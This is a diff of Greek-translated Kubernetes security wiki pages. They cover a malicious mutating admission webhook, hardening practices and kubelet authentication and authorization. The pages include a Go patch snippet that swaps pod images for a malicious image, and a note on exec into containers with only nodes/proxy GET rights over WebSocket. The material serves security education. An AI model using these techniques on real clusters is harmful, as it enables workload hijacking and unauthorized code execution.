|
||||
Όταν μπορείτε να δείτε το σφάλμα `ErrImagePull`, ελέγξτε το όνομα της εικόνας με μία από τις ερωτήσεις:
|
||||
Όταν βλέπετε το σφάλμα `ErrImagePull`, ελέγξτε το όνομα της εικόνας με ένα από τα παρακάτω ερωτήματα:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Όπως μπορείτε να δείτε στην παραπάνω εικόνα, προσπαθήσαμε να εκτελέσουμε την εικόνα `nginx`, αλλά η τελική εκτελούμενη εικόνα είναι `rewanthtammana/malicious-image`. Τι συνέβη μόλις!!;
|
||||
Όπως φαίνεται στην παραπάνω εικόνα, προσπαθήσαμε να τρέξουμε την εικόνα `nginx` αλλά η τελικά εκτελεσθείσα εικόνα είναι `rewanthtammana/malicious-image`. Τι μόλις συνέβη;
|
||||
|
||||
#### Τεχνικές λεπτομέρειες
|
||||
|
||||
Το σενάριο `./deploy.sh` εγκαθιστά έναν μεταβαλλόμενο ελεγκτή εισόδου webhook, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως καθορίζεται στις γραμμές ρύθμισης παραμέτρων του, επηρεάζοντας τα αποτελέσματα που παρατηρούνται:
|
||||
Το `./deploy.sh` script δημιουργεί έναν mutating webhook admission controller, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως ορίζεται στις γραμμές ρυθμίσεώς του, επηρεάζοντας τα παρατηρούμενα αποτελέσματα:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -735,9 +754,9 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
Το παραπάνω απόσπασμα αντικαθιστά την πρώτη εικόνα κοντέινερ σε κάθε pod με `rewanthtammana/malicious-image`.
|
||||
Το παραπάνω απόσπασμα αντικαθιστά την πρώτη εικόνα container σε κάθε pod με `rewanthtammana/malicious-image`.
|
||||
|
||||
## Παράκαμψη OPA Gatekeeper
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
@@ -745,18 +764,18 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
## Καλές Πρακτικές
|
||||
|
||||
### **Απενεργοποίηση Αυτοματισμού των Tokens Λογαριασμού Υπηρεσίας**
|
||||
### **Απενεργοποίηση Automount των Service Account Tokens**
|
||||
|
||||
- **Pods και Λογαριασμοί Υπηρεσίας**: Από προεπιλογή, τα pods τοποθετούν ένα token λογαριασμού υπηρεσίας. Για την ενίσχυση της ασφάλειας, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της λειτουργίας αυτοματισμού.
|
||||
- **Πώς να Εφαρμόσετε**: Ορίστε `automountServiceAccountToken: false` στη διαμόρφωση των λογαριασμών υπηρεσίας ή των pods από την έκδοση 1.6 του Kubernetes.
|
||||
- **Pods and Service Accounts**: Από προεπιλογή, τα pods προσαρτούν ένα service account token. Για να ενισχύσετε την ασφάλεια, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της δυνατότητας automount.
|
||||
- **How to Apply**: Ορίστε `automountServiceAccountToken: false` στη διαμόρφωση των service accounts ή των pods από την έκδοση Kubernetes 1.6 και μεταγενέστερες.
|
||||
|
||||
### **Περιοριστική Ανάθεση Χρηστών σε RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Επιλεκτική Συμπερίληψη**: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες περιλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Ελέγχετε τακτικά και αφαιρείτε μη σχετικούς χρήστες για να διατηρείτε σφιχτή ασφάλεια.
|
||||
- **Selective Inclusion**: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες συμπεριλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Εκτελέστε τακτικούς ελέγχους και αφαιρέστε τους μη σχετικούς χρήστες για να διατηρείτε αυστηρή ασφάλεια.
|
||||
|
||||
### **Ρόλοι Ειδικά για Namespace Αντί Ρόλων Cluster-Wide**
|
||||
### **Προτίμηση Roles ανά Namespace αντί για Cluster-Wide Roles**
|
||||
|
||||
- **Ρόλοι vs. ClusterRoles**: Προτιμήστε τη χρήση Ρόλων και RoleBindings για άδειες που σχετίζονται με namespace αντί για ClusterRoles και ClusterRoleBindings, που ισχύουν σε επίπεδο cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει την έκταση των αδειών.
|
||||
- **Roles vs. ClusterRoles**: Προτιμήστε τη χρήση Roles και RoleBindings για δικαιώματα ανά namespace αντί για ClusterRoles και ClusterRoleBindings, τα οποία ισχύουν σε όλο το cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει το εύρος των δικαιωμάτων.
|
||||
|
||||
### **Χρησιμοποιήστε αυτοματοποιημένα εργαλεία**
|
||||
|
||||
@@ -779,5 +798,8 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-29
@@ -1,25 +1,25 @@
|
||||
# Kubelet Authentication & Authorization
|
||||
# Πιστοποίηση & Εξουσιοδότηση Kubelet
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Πιστοποίηση Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**Από τα έγγραφα:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
Από προεπιλογή, τα αιτήματα προς το HTTPS endpoint του kubelet που δεν απορρίπτονται από άλλες ρυθμισμένες μεθόδους αυθεντικοποίησης θεωρούνται ανώνυμα αιτήματα και τους δίνεται ένα **όνομα χρήστη `system:anonymous`** και μια **ομάδα `system:unauthenticated`**.
|
||||
Από προεπιλογή, τα αιτήματα προς το HTTPS endpoint του kubelet που δεν απορρίπτονται από άλλες ρυθμισμένες μεθόδους ελέγχου ταυτότητας αντιμετωπίζονται ως ανώνυμα αιτήματα και τους δίνεται ένα **όνομα χρήστη `system:anonymous`** και μια **ομάδα `system:unauthenticated`**.
|
||||
|
||||
Οι **3** μέθοδοι **αυθεντικοποίησης** είναι:
|
||||
Οι **3** μέθοδοι **ελέγχου ταυτότητας** είναι:
|
||||
|
||||
- **Ανώνυμη** (προεπιλογή): Χρησιμοποιήστε τη ρύθμιση ορίζοντας την παράμετρο **`--anonymous-auth=true` ή τη ρύθμιση:**
|
||||
- **Anonymous** (προεπιλογή): Χρησιμοποιείται εάν οριστεί η παράμετρος **`--anonymous-auth=true` ή η ρύθμιση:**
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: Αυτό θα **επιτρέψει** τα **API bearer tokens** του kubectl ως εξουσιοδότηση (οποιοδήποτε έγκυρο token θα είναι έγκυρο). Επιτρέψτε το με:
|
||||
- βεβαιωθείτε ότι η ομάδα API `authentication.k8s.io/v1beta1` είναι ενεργοποιημένη στον API server
|
||||
- ξεκινήστε το kubelet με τις σημαίες **`--authentication-token-webhook`** και **`--kubeconfig`** ή χρησιμοποιήστε την παρακάτω ρύθμιση:
|
||||
- **Webhook**: Αυτό θα **ενεργοποιήσει** τα kubectl **API bearer tokens** ως εξουσιοδότηση (οποιοδήποτε έγκυρο token θα είναι έγκυρο). Επιτρέψτε το με:
|
||||
- βεβαιωθείτε ότι το `authentication.k8s.io/v1beta1` API group είναι ενεργοποιημένο στον API server
|
||||
- ξεκινήστε το kubelet με τις σημαίες **`--authentication-token-webhook`** και **`--kubeconfig`** ή χρησιμοποιήστε την ακόλουθη ρύθμιση:
|
||||
```json
|
||||
"authentication": {
|
||||
"webhook": {
|
||||
@@ -28,11 +28,11 @@
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ο kubelet καλεί το **`TokenReview` API** στον ρυθμισμένο API server για να **καθορίσει πληροφορίες χρήστη** από τα bearer tokens
|
||||
> Το kubelet καλεί το **`TokenReview` API** στον ρυθμισμένο API server για να **προσδιορίσει πληροφορίες χρήστη** από bearer tokens
|
||||
|
||||
- **Πιστοποιητικά πελάτη X509:** Επιτρέπουν την αυθεντικοποίηση μέσω πιστοποιητικών πελάτη X509
|
||||
- δείτε την [τεκμηρίωση αυθεντικοποίησης apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) για περισσότερες λεπτομέρειες
|
||||
- ξεκινήστε τον kubelet με την επιλογή `--client-ca-file`, παρέχοντας ένα CA bundle για να επαληθεύσετε τα πιστοποιητικά πελάτη. Ή με τη ρύθμιση:
|
||||
- **X509 client certificates:** Επιτρέπουν την αυθεντικοποίηση μέσω X509 client certificates
|
||||
- δείτε την [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) για περισσότερες λεπτομέρειες
|
||||
- ξεκινήστε το kubelet με το flag `--client-ca-file`, παρέχοντας ένα CA bundle για την επαλήθευση των πιστοποιητικών πελάτη. Ή με τη ρύθμιση:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -42,14 +42,14 @@
|
||||
```
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Οποιοδήποτε αίτημα είναι επιτυχώς αυθεντικοποιημένο (συμπεριλαμβανομένου ενός ανώνυμου αιτήματος) **στη συνέχεια εξουσιοδοτείται**. Ο **προεπιλεγμένος** τρόπος εξουσιοδότησης είναι **`AlwaysAllow`**, ο οποίος **επιτρέπει όλα τα αιτήματα**.
|
||||
Οποιοδήποτε αίτημα που έχει ταυτοποιηθεί επιτυχώς (συμπεριλαμβανομένου ενός ανώνυμου αιτήματος) **εξουσιοδοτείται στη συνέχεια**. Η **προεπιλεγμένη** λειτουργία εξουσιοδότησης είναι **`AlwaysAllow`**, η οποία **επιτρέπει όλα τα αιτήματα**.
|
||||
|
||||
Ωστόσο, η άλλη πιθανή τιμή είναι **`webhook`** (το οποίο είναι αυτό που θα **βρείτε κυρίως εκεί έξω**). Αυτός ο τρόπος θα **ελέγξει τα δικαιώματα του αυθεντικοποιημένου χρήστη** για να επιτρέψει ή να απαγορεύσει μια ενέργεια.
|
||||
Ωστόσο, η άλλη πιθανή τιμή είναι **`webhook`** (που είναι αυτή που θα **βρείτε κυρίως εκεί έξω**). Αυτή η λειτουργία θα **ελέγξει τα δικαιώματα του ταυτοποιημένου χρήστη** για να επιτρέψει ή να απορρίψει μια ενέργεια.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι ακόμη και αν η **ανώνυμη αυθεντικοποίηση είναι ενεργοποιημένη**, η **ανώνυμη πρόσβαση** μπορεί **να μην έχει κανένα δικαίωμα** για να εκτελέσει οποιαδήποτε ενέργεια.
|
||||
> Σημειώστε ότι ακόμη και αν η **ανώνυμη ταυτοποίηση είναι ενεργοποιημένη** η **ανώνυμη πρόσβαση** μπορεί **να μην έχει καθόλου δικαιώματα** για να εκτελέσει οποιαδήποτε ενέργεια.
|
||||
|
||||
Η εξουσιοδότηση μέσω webhook μπορεί να ρυθμιστεί χρησιμοποιώντας την **παράμετρο `--authorization-mode=Webhook`** ή μέσω του αρχείου ρυθμίσεων με:
|
||||
Η εξουσιοδότηση μέσω webhook μπορεί να ρυθμιστεί χρησιμοποιώντας την **παράμετρο `--authorization-mode=Webhook`** ή μέσω του αρχείου διαμόρφωσης με:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,41 +59,45 @@
|
||||
}
|
||||
},
|
||||
```
|
||||
Ο kubelet καλεί το **`SubjectAccessReview`** API στον ρυθμισμένο API server για να **καθορίσει** αν κάθε αίτηση είναι **εξουσιοδοτημένη.**
|
||||
Το kubelet καλεί το **`SubjectAccessReview`** API στον διαμορφωμένο API server για να **καθορίσει** εάν κάθε αίτημα είναι **εξουσιοδοτημένο.**
|
||||
|
||||
Ο kubelet εξουσιοδοτεί τις API αιτήσεις χρησιμοποιώντας την ίδια προσέγγιση [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) όπως ο apiserver:
|
||||
Το kubelet εξουσιοδοτεί αιτήματα API χρησιμοποιώντας την ίδια [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) προσέγγιση με τον apiserver:
|
||||
|
||||
- **Δράση**
|
||||
- **Ενέργεια**
|
||||
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (για μεμονωμένους πόρους), list (για συλλογές, συμπεριλαμβανομένου του πλήρους περιεχομένου αντικειμένων), watch (για παρακολούθηση ενός μεμονωμένου πόρου ή συλλογής πόρων) |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (για μεμονωμένους πόρους), deletecollection (για συλλογές) |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- Ο **πόρος** που επικοινωνεί με το Kubelet api είναι **πάντα** **nodes** και ο **υποπόρος** **καθορίζεται** από τη διαδρομή της εισερχόμενης αίτησης:
|
||||
- Ο **resource** που επικοινωνεί με το Kubelet api είναι **πάντα** οι **nodes** και το **subresource** **καθορίζεται** από το path του εισερχόμενου αιτήματος:
|
||||
|
||||
| Kubelet API | πόρος | υποπόρος |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _όλοι οι άλλοι_ | nodes | proxy |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
Για παράδειγμα, η ακόλουθη αίτηση προσπάθησε να αποκτήσει πρόσβαση στις πληροφορίες pods του kubelet χωρίς άδεια:
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
|
||||
|
||||
Για παράδειγμα, το ακόλουθο αίτημα προσπάθησε να αποκτήσει πρόσβαση στις πληροφορίες των pods του kubelet χωρίς άδεια:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Λάβαμε ένα **Forbidden**, οπότε το αίτημα **πέρασε τον έλεγχο Αυθεντικοποίησης**. Αν όχι, θα είχαμε λάβει απλώς ένα μήνυμα `Unauthorised`.
|
||||
- Λάβαμε ένα **Forbidden**, άρα το αίτημα **passed the Authentication check**. Αν όχι, θα είχαμε λάβει απλώς ένα `Unauthorised` μήνυμα.
|
||||
- Μπορούμε να δούμε το **username** (σε αυτή την περίπτωση από το token)
|
||||
- Ελέγξτε πώς ο **πόρος** ήταν **nodes** και ο **υποπόρος** **proxy** (που έχει νόημα με τις προηγούμενες πληροφορίες)
|
||||
- Δες πώς το **resource** ήταν **nodes** και το **subresource** **proxy** (που έχει νόημα με τις προηγούμενες πληροφορίες)
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user